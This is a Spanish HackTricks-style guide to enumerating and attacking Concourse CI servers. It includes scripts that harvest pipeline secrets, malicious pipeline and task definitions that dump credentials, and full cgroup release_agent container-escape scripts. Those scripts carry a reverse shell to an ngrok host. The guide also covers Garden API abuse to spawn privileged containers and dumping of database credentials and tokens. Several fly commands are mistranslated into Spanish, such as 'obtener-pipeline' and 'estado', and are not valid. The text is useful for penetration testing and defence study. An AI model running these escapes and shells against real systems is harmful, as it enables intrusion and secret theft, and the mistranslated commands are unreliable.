Concourse Enumeration & Attacks

Enumeración y Ataques en Concourse

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Roles de Usuario y Permisos

Concourse cuenta con cinco roles:

  • Concourse Admin: Este rol se otorga únicamente a los propietarios del equipo principal (equipo inicial predeterminado de Concourse). Los administradores pueden configurar otros equipos (por ejemplo: fly set-team, fly destroy-team...). Los permisos de este rol no pueden ser afectados por RBAC.

  • owner: Los propietarios del equipo pueden modificar todo dentro del equipo.

  • member: Los miembros del equipo pueden leer y escribir dentro de los activos del equipo pero no pueden modificar la configuración del equipo.

  • pipeline-operator: Los operadores de pipeline pueden realizar operaciones en el pipeline como desencadenar construcciones y fijar recursos, sin embargo, no pueden actualizar configuraciones del pipeline.

  • viewer: Los espectadores del equipo tienen acceso de "solo lectura" a un equipo y sus pipelines.

Además, los permisos de los roles owner, member, pipeline-operator y viewer pueden ser modificados configurando RBAC (configurando más específicamente sus acciones). Lee más al respecto en: https://concourse-ci.org/user-roles.html

Ten en cuenta que Concourse agrupa pipelines dentro de Equipos. Por lo tanto, los usuarios pertenecientes a un Equipo podrán gestionar esos pipelines y podrían existir varios Equipos. Un usuario puede pertenecer a varios Equipos y tener diferentes permisos dentro de cada uno de ellos.

Vars y Gestor de Credenciales

En las configuraciones YAML puedes configurar valores utilizando la sintaxis ((_source-name_:_secret-path_._secret-field_)). Desde la documentación: El nombre de origen es opcional, y si se omite, se utilizará el gestor de credenciales a nivel de clúster, o el valor puede ser proporcionado estáticamente. El campo opcional _secret-field_ especifica un campo en el secreto obtenido para leer. Si se omite, el gestor de credenciales puede optar por leer un 'campo predeterminado' del credencial obtenido si el campo existe. Además, el secret-path y secret-field pueden estar rodeados por comillas dobles "..." si contienen caracteres especiales como . y :. Por ejemplo, ((source:"my.secret"."field:1")) establecerá el secret-path en my.secret y el secret-field en field:1.

Vars Estáticos

Las vars estáticas se pueden especificar en pasos de tareas:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

O utilizando los siguientes fly argumentos:

  • -v o --var NOMBRE=VALOR establece la cadena VALOR como el valor para la variable NOMBRE.

  • -y o --yaml-var NOMBRE=VALOR analiza VALOR como YAML y lo establece como el valor para la variable NOMBRE.

  • -i o --instance-var NOMBRE=VALOR analiza VALOR como YAML y lo establece como el valor para la variable de instancia NOMBRE. Consulta Agrupación de Pipelines para obtener más información sobre las variables de instancia.

  • -l o --load-vars-from ARCHIVO carga ARCHIVO, un documento YAML que contiene nombres de variables y sus valores, y los establece todos.

Gestión de Credenciales

Existen diferentes formas en las que se puede especificar un Gestor de Credenciales en un pipeline, lee cómo en https://concourse-ci.org/creds.html. Además, Concourse admite diferentes gestores de credenciales:

Ten en cuenta que si tienes algún tipo de acceso de escritura a Concourse puedes crear trabajos para filtrar esas credenciales ya que Concourse necesita poder acceder a ellas.

Enumeración de Concourse

Para enumerar un entorno de Concourse primero necesitas reunir credenciales válidas o encontrar un token autenticado probablemente en un archivo de configuración .flyrc.

Enumeración de Inicio de Sesión y Usuario Actual

  • Para iniciar sesión necesitas conocer el punto final, el nombre del equipo (por defecto es main) y un equipo al que pertenece el usuario:

  • fly --target ejemplo login --team-name mi-equipo --concourse-url https://ci.ejemplo.com [--inseguro] [--certificado-cliente=./ruta --clave-cliente=./ruta]

  • Obtener objetivos configurados:

  • fly targets

  • Verificar si la conexión del objetivo configurado sigue siendo válida:

  • fly -t <objetivo> estado

  • Obtener el rol del usuario contra el objetivo indicado:

  • fly -t <objetivo> informacion-usuario

Ten en cuenta que el token de API se guarda en $HOME/.flyrc de forma predeterminada, si saqueas máquinas podrías encontrar allí las credenciales.

Equipos y Usuarios

  • Obtener una lista de los Equipos

  • fly -t <objetivo> equipos

  • Obtener roles dentro del equipo

  • fly -t <objetivo> obtener-equipo -n <nombre-equipo>

  • Obtener una lista de usuarios

  • fly -t <objetivo> usuarios-activos

Pipelines

  • Listar pipelines:

  • fly -t <objetivo> pipelines -a

  • Obtener el yaml del pipeline (puede haber información sensible en la definición):

  • fly -t <objetivo> obtener-pipeline -p <nombre-pipeline>

  • Obtener todas las variables de configuración del pipeline

  • for nombrepipe in $(fly -t <objetivo> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $nombrepipe; fly -t <objetivo> obtener-pipeline -p $nombrepipe -j | grep -Eo '"vars":[^}]+'; done

  • Obtener todos los nombres de secretos de los pipelines utilizados (si puedes crear/modificar un trabajo o secuestrar un contenedor podrías filtrarlos):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Contenedores y Trabajadores

  • Listar trabajadores:

  • fly -t <objetivo> workers

  • Listar contenedores:

  • fly -t <objetivo> containers

  • Listar construcciones (para ver qué se está ejecutando):

  • fly -t <objetivo> builds

Ataques a Concourse

Fuerza bruta de credenciales

  • admin:admin

  • test:test

Enumeración de secretos y parámetros

En la sección anterior vimos cómo puedes obtener todos los nombres de secretos y variables utilizados por el pipeline. Las variables pueden contener información sensible y el nombre de los secretos será útil más adelante para intentar robar.

Sesión dentro de un contenedor en ejecución o ejecutado recientemente

Si tienes suficientes privilegios (rol de miembro o superior) podrás listar pipelines y roles y simplemente obtener una sesión dentro del contenedor <pipeline>/<job> usando:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Con estos permisos podrías ser capaz de:

  • Robar los secretos dentro del contenedor

  • Intentar escapar al nodo

  • Enumerar/Abusar del endpoint de metadatos en la nube (desde el pod y desde el nodo, si es posible)

Creación/Modificación de Tuberías

Si tienes suficientes privilegios (rol de miembro o más) podrás crear/modificar nuevas tuberías. Revisa este ejemplo:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Con la modificación/creación de un nuevo pipeline podrás:

  • Robar los secretos (mediante su impresión o accediendo al contenedor y ejecutando env)

  • Escapar al nodo (dándote suficientes privilegios - privileged: true)

  • Enumerar/Abusar del endpoint de metadatos de la nube (desde el pod y desde el nodo)

  • Eliminar el pipeline creado

Ejecutar Tarea Personalizada

Esto es similar al método anterior pero en lugar de modificar/crear un nuevo pipeline completo, puedes simplemente ejecutar una tarea personalizada (lo cual probablemente sea mucho más sigiloso):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Escapando al nodo desde una tarea privilegiada

En las secciones anteriores vimos cómo ejecutar una tarea privilegiada con Concourse. Esto no le dará al contenedor exactamente el mismo acceso que la bandera privilegiada en un contenedor de Docker. Por ejemplo, no verá el dispositivo del sistema de archivos del nodo en /dev, por lo que la fuga podría ser más "compleja".

En el siguiente PoC vamos a usar el release_agent para escapar con algunas pequeñas modificaciones:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Como habrás notado, esto es simplemente una fuga de release_agent regular modificando el camino del cmd en el nodo

Escapando al nodo desde un contenedor de Worker

Una fuga de release_agent regular con una modificación menor es suficiente para esto:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Escapando al nodo desde el contenedor web

Incluso si el contenedor web tiene algunas defensas deshabilitadas, no se está ejecutando como un contenedor privilegiado común (por ejemplo, no puedes montar y las capacidades son muy limitadas, por lo que todas las formas fáciles de escapar del contenedor son inútiles).

Sin embargo, almacena credenciales locales en texto claro:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Puedes usar esas credenciales para iniciar sesión en el servidor web y crear un contenedor privilegiado y escapar al nodo.

En el entorno también puedes encontrar información para acceder a la instancia de postgresql que utiliza concourse (dirección, nombre de usuario, contraseña y base de datos, entre otra información):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Abuso del Servicio Garden - No es un Ataque Real

Estas son solo algunas notas interesantes sobre el servicio, pero debido a que solo está escuchando en localhost, estas notas no tendrán ningún impacto que no hayamos explotado antes.

Por defecto, cada worker de Concourse ejecutará un servicio Garden en el puerto 7777. Este servicio es utilizado por el maestro web para indicar al worker qué necesita ejecutar (descargar la imagen y ejecutar cada tarea). Esto suena bastante bien para un atacante, pero hay algunas protecciones interesantes:

  • Solo está expuesto localmente (127.0.0.1) y creo que cuando el worker se autentica nuevamente en la Web con el servicio SSH especial, se crea un túnel para que el servidor web pueda comunicarse con cada servicio Garden dentro de cada worker.

  • El servidor web está monitoreando los contenedores en ejecución cada pocos segundos, y los contenedores inesperados son eliminados. Por lo tanto, si deseas ejecutar un contenedor personalizado, necesitas manipular la comunicación entre el servidor web y el servicio Garden.

Los workers de Concourse se ejecutan con altos privilegios de contenedor:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Sin embargo, técnicas como montar el dispositivo /dev del nodo o release_agent no funcionarán (ya que el dispositivo real con el sistema de archivos del nodo no es accesible, solo uno virtual). No podemos acceder a los procesos del nodo, por lo que escapar del nodo sin exploits de kernel se vuelve complicado.

En la sección anterior vimos cómo escapar de un contenedor privilegiado, por lo que si podemos ejecutar comandos en un contenedor privilegiado creado por el trabajador actual, podríamos escapar al nodo.

Tenga en cuenta que al jugar con Concourse noté que cuando se genera un nuevo contenedor para ejecutar algo, los procesos del contenedor son accesibles desde el contenedor del trabajador, por lo que es como si un contenedor creara un nuevo contenedor dentro de él.

Entrar en un contenedor privilegiado en ejecución

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Creación de un nuevo contenedor privilegiado

Puedes crear muy fácilmente un nuevo contenedor (simplemente ejecuta un UID aleatorio) y ejecutar algo en él:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Sin embargo, el servidor web está revisando cada pocos segundos los contenedores que se están ejecutando, y si se descubre uno inesperado, será eliminado. Dado que la comunicación se realiza en HTTP, podrías manipular la comunicación para evitar la eliminación de contenedores inesperados:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Referencias

  • https://concourse-ci.org/vars.html

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización